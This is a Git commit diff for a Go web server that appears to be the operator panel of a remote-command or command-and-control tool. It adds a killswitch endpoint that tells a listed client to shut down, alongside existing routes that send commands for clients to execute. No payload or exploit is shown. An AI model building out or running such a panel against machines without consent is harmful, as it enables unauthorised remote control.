Setup killswitch function backend
This commit is contained in:
parent
cb0b3be8c5
commit
a76a2494b2
|
@ -31,12 +31,12 @@ func WebServer() {
|
||||||
r.GET("/", getRoot)
|
r.GET("/", getRoot)
|
||||||
r.GET("/command/:clientid", getCommands)
|
r.GET("/command/:clientid", getCommands)
|
||||||
r.POST("/command/:clientid", execCMD)
|
r.POST("/command/:clientid", execCMD)
|
||||||
|
r.POST("/kill/:clientid", sendKillswitch)
|
||||||
r.Run(":" + WebPort)
|
r.Run(":" + WebPort)
|
||||||
}
|
}
|
||||||
|
|
||||||
func getRoot(c *gin.Context) {
|
func getRoot(c *gin.Context) {
|
||||||
c.HTML(http.StatusOK, "templates/index.html", gin.H{
|
c.HTML(http.StatusOK, "templates/index.html", gin.H{
|
||||||
"UserAgent": c.Request.UserAgent(),
|
|
||||||
"Clients": clientList,
|
"Clients": clientList,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
@ -54,11 +54,24 @@ func getCommands(c *gin.Context) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
c.HTML(http.StatusOK, "templates/command.html", gin.H{
|
c.HTML(http.StatusOK, "templates/command.html", gin.H{
|
||||||
"UserAgent": c.Request.UserAgent(),
|
|
||||||
"Client": client,
|
"Client": client,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func sendKillswitch(c *gin.Context) {
|
||||||
|
clientID := c.Param("clientid")
|
||||||
|
intClientID, err := strconv.Atoi(clientID)
|
||||||
|
if err != nil {
|
||||||
|
c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
inst := Instructions{
|
||||||
|
IsKillswitch: true,
|
||||||
|
}
|
||||||
|
clientList[intClientID].Instruct(inst)
|
||||||
|
clientList[intClientID].IsOnline = false
|
||||||
|
}
|
||||||
|
|
||||||
func execCMD(c *gin.Context) {
|
func execCMD(c *gin.Context) {
|
||||||
id := c.Param("clientid")
|
id := c.Param("clientid")
|
||||||
idInt, err := strconv.Atoi(id)
|
idInt, err := strconv.Atoi(id)
|
||||||
|
|
Loading…
Reference in New Issue